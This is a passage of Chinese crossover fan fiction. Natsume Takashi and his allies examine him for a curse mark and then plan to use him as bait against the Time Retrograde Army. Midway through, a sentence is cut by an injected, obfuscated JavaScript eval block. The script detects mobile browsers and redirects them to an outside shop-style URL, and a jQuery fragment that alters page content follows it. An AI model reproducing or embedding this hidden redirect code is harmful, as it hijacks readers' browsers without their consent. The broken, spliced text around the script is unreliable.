夏目贵志下意识的再次抓紧了自己怀中的友人帐,仿佛这本名册能够为他带来些许安全感,与此同时,他的心中也因为一文字则宗和猫咪老师的话而升起一股寒意——如果他自己真的在无知无觉中被做了什么手脚,那岂不是就像一个“路标”,随时随地都有可能将危险引向自己身边的人?!
“不必过于担忧这件事,夏目君。”源朝曦平稳的声音稳稳地接住了夏目贵志心中瞬间翻涌的不安,“如果真的是十分高明的‘标记’,那恰恰说明了他们在短时间内不会放弃你这个目标,这反而给了我们设伏或者反追踪的机会。”
“而且,夏目君,你身上缠绕着非常浓厚的、正向的‘缘’的力量,本身就在你的周身形成了一层防护。”源朝曦灰蓝色的双眼扫过夏目贵志周身。
“寻常的负面印记很难在如此强烈的‘善缘’包裹下长久存留;至于那些不寻常的,正是我所擅长的领域。”源朝曦的话语中充满笃定。
“你所擅长的领域?”夏目贵志有些困惑的重复源朝曦话语中的最后几个字。
“嗯,我所擅长的领域。”源朝曦平静地重复,指尖轻轻拢了拢垂落颊边的红发。
此时的晨光恰好落在她的侧脸上,为她苍白的肤色镀上一层近乎透明的微光,那双灰蓝色的眼眸看向夏目贵志,目光专注,却又仿佛穿透了他不知落在何处。
“我曾在某段时间拥有过阴阳师与巫女的双重身份,虽然时移世易,力量的形式也有所变化,但观察、解析乃至净化与‘缘’、‘咒’相关的痕迹依然属于我过往经验的一部分。”
就在源朝曦说话时,夏目贵志感觉自己似乎看见对方双眼深处有一抹极淡的金色流光一闪而逝,但那抹流光消逝的速度过快,反而让夏目贵志以为那或许只是晨光造成的错觉。
“阴阳师和巫女?”夏目贵志低声重复,这两个词汇所代表的是霓虹历史上真实存在过的、与“非人之物”打交道的神秘职业体系。
他所接触的妖怪世界更多是基于“缘”的自然流转,而阴阳术与神道巫女的体系则更偏向于“术式”、“契约”与“净化”,有着更为严密的传承与规范。
“是,不过那已经是很久以前的事情了。”源朝曦的目光似乎飘远了一瞬,随即便被她立刻收回,“虽然许多具体的手段已经因为时代与世界的不同已然失效或需要调整,但核心的‘理’是相通的。稍后,如果你同意,我可以为你做一次简单的检查,确认你身上是否有被留下不寻常的‘印记’。”
夏目贵志犹豫片刻,看向猫咪老师,猫咪老师甩了甩尾巴,哼了一声:“让她看看也无妨,笨蛋夏目。如果是连我都察觉不到的隐蔽手段,那确实需要更专业的方法来辨别。”
“那就麻烦您了,凤黯小姐。”夏目贵志最终还是做出了选择,点了头。
“不必客气。”源朝曦微微颔首,示意夏目贵志在距她一步之遥的廊檐下坐定。
晨曦的光线此刻已变得明亮,穿过破败神社的缝隙,在她苍白的面容和夏目贵志略显紧绷的年轻脸庞之间投下斑驳的光影。
猫咪老师紧挨着夏目贵志趴下,尾巴有一下没一下地拍打着地面,黄绿色的眼瞳一眨不眨地盯着源朝曦。
源朝曦抬起右手,食指与中指并拢,苍白得近乎透明的指尖在晨光中似乎泛起一层极淡的、几乎看不见的微光。
她没有借助任何符纸或媒介,只是以指尖为笔,以某种介于存在与不存在之间的“灵力”为墨,开始在空中缓慢而稳定地勾画。
夏目贵志屏住呼吸,他能感觉到周围空气的流动似乎发生了微妙的变化。
没有强烈的风,但神社内沉淀的尘埃仿佛受到了无形的牵引,在透过窗格的光柱中缓缓旋动,一种宁静而浩瀚的气息从源朝曦身上弥散开来,并不具有攻击性,却带着一种不容置疑的、古老的威严。
渐渐地,一个淡金色的、几乎完全由光线勾勒而成的简易符文在空气中缓缓成型,它并非固定的图案,更像是一团不断流转、呼吸的微光星云,核心处隐约可见鸟雀振翅般的轮廓。
“放松,不要抗拒。” 源朝曦的声音仿佛从很远的地方传来,带着奇特的安抚力量。
尽管他的精神依旧紧绷着,但夏目贵志还是按照源朝曦的要求放松自己的身体,他能够清楚地感知到到那团微光符文缓缓靠近,最终悬停在他额前寸许之处,虽然并没有什么实质上的接触,但一股温和而深邃的力量如同水波般漫过他的全身。
那股力量就像是一阵拂过林梢的微风,或是一泓清澈见底的泉水,温和地浸润、探查着他周身的每一寸“缘”的脉络。
夏目贵志甚至能“看见”,不,更确切的说应该是他能借助源朝曦画出的符文感知到自己身上那些或粗或细、或明或暗的“线”。
有与塔子阿姨、滋伯父相连的温暖明亮的金色丝线,有与猫咪老师之间那粗壮坚韧、带着些许慵懒与守护意味的银色纽带,还有许多颜色各异、强度不一、延伸向森林各处、连接着不同妖怪的“缘”。
这些“线”交织成网,将他包裹其中,形成了一层自然而然的屏障。
而在这片由“善缘”构成的、柔和而坚韧的“网”中,源朝曦的力量如同最精密的探针,细致地筛查着任何一丝不协调的“杂色”。
时间在安静的探查中缓缓流逝。
夏目贵志能感觉到源朝曦的专注,她的呼吸似乎都变得极其轻缓,那双灰蓝色的眼眸低垂着,长长的睫毛在眼下投出小片阴影,掩去了眸中可能流转的任何情绪,只有她指尖那团淡金色的、鸟形轮廓的微光符文,随着探查的深入会偶尔极其轻微地波动一下。
片刻后,源朝曦指尖微光勾勒出的符文轻轻一颤,随即化作点点细碎的金芒消散在空气中。
她收回手,指尖那层极淡的光芒也随之隐去,脸色似乎比之前更苍白了些许,连呼吸都放得更轻,但她灰蓝色的眼眸依旧清澈平静。
“如何?” 猫咪老师率先开口,语气里带着难得的严肃。
“没有发现直接、外显的‘标记’或‘诅咒’痕迹。” 源朝曦的声音平稳,但语速稍缓,似乎因为消耗掉的精力而让她现在大脑运转速度变慢,“夏目君周身的‘善缘’屏障非常稳固,寻常的负面干涉很难长久附着。”
闻言,夏目贵志在暗地里不由自主的动了口气。
但源朝曦接下来的话又让他的心提了起来:“但是,在更深层的、与‘存在本质’相连的‘缘’的脉络上,我发现了一丝极其细微的、不协调的‘扰动’。”
“它并非由外而内施加的标记,更像是因为夏目君自身的存在或者他所持之物与某种庞大的‘异常’产生了共鸣,从而在‘缘’的层面荡开了涟漪,这涟漪本身吸引了‘关注’,或者说,为某些存在提供了模糊的‘指向’。”
源朝曦看向夏目贵志怀中的友人帐:“这本名册以及你长久以来与众多妖怪结下的‘缘’本身就在此世的‘异常’体系中占据着一个特殊且敏感的位置。”
“时间溯行军或许并非直接在你身上打下了烙印,而是被这个‘特殊位置’散发出的‘波动’所吸引,换言之,只要你还持有友人帐,还与这些妖怪保持联系,这种被‘关注’的状态就可能持续。”
夏目贵志的脸色微微发白,他下意识地抱紧了怀中的友人帐,这对他来说几乎是一个无解的困境——放弃友人帐,意味着背弃与那些妖怪的约定,也可能让名册落入不轨之徒手中;持有它,却像举着一盏明灯,在黑暗中指引着危险的方向。
“没有两全其美的方法,夏目君。” 源朝曦仿佛看穿了他的挣扎,声音里没有安慰,只有陈述事实的冷静,“任何强大的‘缘’或‘力’在带来庇护与联结的同时,也必然伴随着相应的‘重量’与‘风险’。”
“你现在需要做的不是恐惧这份‘关注’,而是学会在它的注视下,更好地掌控和运用你所拥有的力量,并找到可靠的力量共同应对来自外部的威胁。”
“掌控和运用……” 夏目贵志低声重复,指尖无意识地摩挲着友人帐粗糙的封皮。
他当然明白强大的力量往往会伴随着相应的责任与风险这个道理,但明白这个道理是一回事,真正面对这种如同站在聚光灯下、无时无刻都会被“关注”的感觉又是另外一回事。
猫咪老师甩了甩尾巴,喉咙里发出低沉的呼噜声,似乎在思考源朝曦的话语:“也就是说,这本破册子和夏目这小子现在就像黑夜里的萤火虫,想不被人注意都难。”
“可以这样理解。”源朝曦微微颔首,晨曦将她苍白的侧脸勾勒出清晰的线条,那双灰蓝色的眼眸转向夏目贵志,“但这并非坏事,夏目君。”
“明确自身所处的‘位置’是制定应对策略的第一步,被动隐藏往往意味着将主动权拱手让人,而了解自身为何成为目标,才能更好地利用或反制这种‘关注’。”
源朝曦的话语平静而笃定,带着一种久居上位者才有的、习惯于掌控局面的冷静。
这份冷静在此时此地奇异地抚平了夏目贵志心中翻涌的不安,却也让他心底掠过一丝轻微的寒意——因为源朝曦话语中自然而然流露出来的那种近乎冷酷的、将自身与盟友都置于棋盘之上进行衡量的透彻。
“我明白了。”夏目贵志深吸一口气,努力消化着源朝曦话语中的含义,既然自己成为“目标”已经是既成事实,与其恐慌,不如思考如何应对。
他看向源朝曦,对方依旧平静地坐在那里,仿佛只是在陈述“今天天气不错”这样的事实,“那么,凤
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376232|189989||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
黯小姐,我们接下来具体该怎么做?”
源朝曦的光穿过神社破损的檐角,望向森林深处逐渐被晨光照亮的幽暗,她的侧脸在光影中显得愈发清晰,也愈发缺乏血色,但那双灰蓝色的眼眸却锐利如出鞘的刃。
“被动等待情报上门从来不是我的风格。”源朝曦的声音不大,却带着一种不容置疑的决断力,这决断力与她此刻虚弱的外表形成了奇异的反差,让夏目贵志心头微凛,也让他有一种不算太好的预感。
“既然‘波动’的中心是你和友人帐,而溯行军已被吸引至此,那么,与其让它们在暗处窥伺、策划我们无从知晓的行动,不如主动制造一个‘机会’,一个让它们认为有机可乘、必须现身的‘机会’。”
夏目贵志隐约捕捉到了她话语中某种冰冷的意味:“所以……?”
“诱饵。” 一文字则宗替源朝曦说出了那个词,折扇轻轻敲击掌心,脸上依旧是那副无可挑剔的微笑,但眼神里却毫无笑意。
“一个精心布置、看起来防御薄弱、却又带着足够‘价值’的诱饵,夏目大人,你就是最合适的人选。”
夏目贵志的心脏猛地一沉,虽然早有心理准备,但当“诱饵”这个词被如此直白地说出时,一种混合着寒意与某种被物化的不适感还是瞬间攫住了他。
他下意识地看向猫咪老师,猫咪老师浑身的毛微微炸开,喉咙里发出低沉的警告声,圆滚滚的身体微微压低,黄绿色的竖瞳先是紧紧锁定一文字则宗,很快,他就因为想到些什么转向源朝曦,里面满是毫不掩饰的警惕与怒意:“喂,你们打的倒是好主意!让这小子当靶子,引那些鬼东西出来?万一有个闪失——”
“不会有‘万一’。” 源朝曦的声音截断了猫咪老师未尽的怒吼,她的语气依旧平稳,却带着一种斩钉截铁的力度,灰蓝色的眼眸平静地迎上大妖怪威慑的视线。
“或者说,将‘万一’控制在可承受范围内,正是我们接下来要共同制定的计划目标。”她微微侧首,目光重新落回脸色发白的夏目贵志身上,那双眼睛依旧如冰湖,但此刻湖面之,似乎有某种更为复杂的东西在缓慢流淌。
“夏目君,‘诱饵’并非意味着将你置于无保护的险境,恰恰相反,这需要最周密的布置、最清晰的预判以及所有参与者最高度的协同。” 源朝曦的声音放缓了些,但其中的冷静剖析并未减少分毫。
“溯行军的目标明确,手段直接,但并非全无规律。它们被‘异常波动’吸引,行动模式存在试探、集结、强攻的阶段。”
“昨日仅仅是试探,如果我们一直龟缩不出或者仅仅是被动防御,下一次来的可能就是更具规模、更有组织的部队,甚至可能采取更隐蔽、更麻烦的方式,比如侵蚀此地的弱小妖怪或干扰与你有‘缘’的普通人类。”
夏目贵志的手指收紧,指节微微泛白,源朝曦描绘的可能性比直接的袭击更让他心头发冷,塔子阿姨,滋伯父,还有那些偶尔会来拜访的、温和的小妖怪们……
“主动成为‘诱饵’,是在我们选定的时间、地点以我们准备好的方式,逼迫它们现身,战场由我们主导,陷阱由我们布下。”
源朝曦的话语让夏目贵志沉默下去。
理智上,他明白这是当前最高效、也最可能打破僵局的方法,与其日夜防备不知何时、从何处来的袭击,不如化被动为主动,在可控的范围内“邀请”敌人现身。
但情感上,将自己置于计划中的靶心位置,将自身安全托付给一群相识不足一日、目的也并非全然纯粹的“盟友”,这种感受非常糟糕,甚至带着一丝被物化的冰冷。
“我……” 夏目贵志张了张嘴,喉咙有些发干,他想问“安全如何保证”,想问“计划具体是什么”,但这些问题在对方已然摆出的冷静权衡面前,似乎都显得苍白。
最终,夏目贵志问出了一个更核心的问题:“为什么是我?如果只是想引出它们,你们……你们自己,或者用别的什么东西,不行吗?”
“因为‘波动’的核心是你,夏目君。” 源朝曦的回答没有丝毫犹豫,那双灰蓝色的眼睛清晰地映出夏目贵志略显苍白的脸。
“溯行军被吸引的是你与友人帐共同构成的这个‘异常点’,我们或者任何外在于此的‘诱饵’都无法完美模拟这种特质。强行制造,效率低下且容易引起怀疑,你是最自然,也最有效的选择。”
源朝曦稍微停顿了一下,似乎考虑到夏目贵志的情绪,语气略微放缓,但其中的理性内核丝毫未变:“当然,这并非无条件的牺牲。”
“整个计划的制定会将以你的安全为最优先前提,我们会预先勘定战场,布设结界与陷阱,所有战力将隐蔽在侧,确保在溯行军现身的瞬间,你就会被置于绝对的保护圈内。”